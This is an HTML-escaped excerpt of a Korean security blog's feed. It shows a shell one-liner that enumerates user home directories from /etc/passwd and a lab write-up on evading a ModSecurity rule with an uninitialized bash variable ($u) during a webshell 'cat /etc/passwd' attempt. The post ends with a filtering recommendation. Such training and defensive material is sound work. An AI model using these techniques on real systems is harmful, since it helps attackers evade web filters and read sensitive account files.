&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;아래가 그 명령어이다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;cat /etc/passwd | awk -F ':' '{print $6}' | while read line; do ls -ld $line; done&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;/etc/passwd 파일을 조회한 후 awk 명령어를 통해 6번째 컬럼인 각 사용자의 홈디렉토리만 추출한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이후 while 명령어를 이용하여 각 홈디렉토리별로 ls 명령어를 적용시켜 사용자 및 권한을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;</description>

      <title>WAF bypass using an uninitialized Bash variable</title>
      <link>https://rootable.tistory.com/618</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;KISA에서 진행하는 2021년도 실전형 정보보호제품군 초급 2차과정을 진행하다가 재미있는 것을 발견하여 기록해둔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;해당 과정에서는 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;ModSecurity&lt;/b&gt;&lt;/span&gt;라는 WAF을 운영하여 웹 취약점들을 차단하는 실습을 진행하였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;1. 설정되어 있는 방화벽 룰&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;우선 현재 적용되어 있는 방화벽 룰을 확인해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;80&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF35Ml/btq9IZ5Plly/g5KasJS7btnLguQMHrS200/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF35Ml/btq9IZ5Plly/g5KasJS7btnLguQMHrS200/img.png&quot; data-alt=&quot;/etc/passwd를 막는 방화벽 룰&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF35Ml/btq9IZ5Plly/g5KasJS7btnLguQMHrS200/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF35Ml%2Fbtq9IZ5Plly%2Fg5KasJS7btnLguQMHrS200%2Fimg.png&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;80&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;/etc/passwd를 막는 방화벽 룰&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;해당 방화벽 룰에서는 /etc/passwd라는 문자열 자체를 방어하고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이를 우회하는 방법은 다양하지만 이번에 진행하는 방법은 초기화되지 않은 bash 변수를 사용해보겠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;2. 초기화되지 않은 Bash 변수&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;여기서 말하는 초기화되지 않은 bash 변수란 $u를 말한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;아래 그림을 보자.&lt;/span&gt;&lt;/p&gt;

&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;리눅스 bash 쉘에서 다음과 같이 초기화되지 않은 변수를 echo로 출력해보면 아무것도 출력되지 않는 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;즉 초기화되지 않은 변수는 &quot;&quot;를 의미한다는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이를 공격에 적용해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;3. 공격에 활용&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;우선 웹쉘을 통해 cat /etc/passwd 명령어를 날리면 아래 그림과 같이 방화벽에 의해 차단됨을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;273&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TSlly/btq9GmAyPY7/erNh4Axlf6VTZM6O3o7hKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TSlly/btq9GmAyPY7/erNh4Axlf6VTZM6O3o7hKk/img.png&quot; data-alt=&quot;방화벽에 의해 차단된 공격&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TSlly/btq9GmAyPY7/erNh4Axlf6VTZM6O3o7hKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTSlly%2Fbtq9GmAyPY7%2FerNh4Axlf6VTZM6O3o7hKk%2Fimg.png&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;273&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;방화벽에 의해 차단된 공격&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이제 여기에 위해서 설명한 초기화되지 않은 변수를 활용하게 되면 다음과 같이 방화벽 우회가 가능하다.&lt;/span&gt;&lt;/p&gt;

&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&amp;nbsp;- 따라서 오탐을 최대한 방지하면서 해당 공격 패턴을 막기 위해서는 공격을 시도하기 위해 특수문자를 많이 사용할 가능성이 크므로 4번 혹은 그 이상 특수문자를 사용할 경우 차단하는 방식으로 가는 것을 권고한다.&lt;/span&gt;&lt;/p&gt;
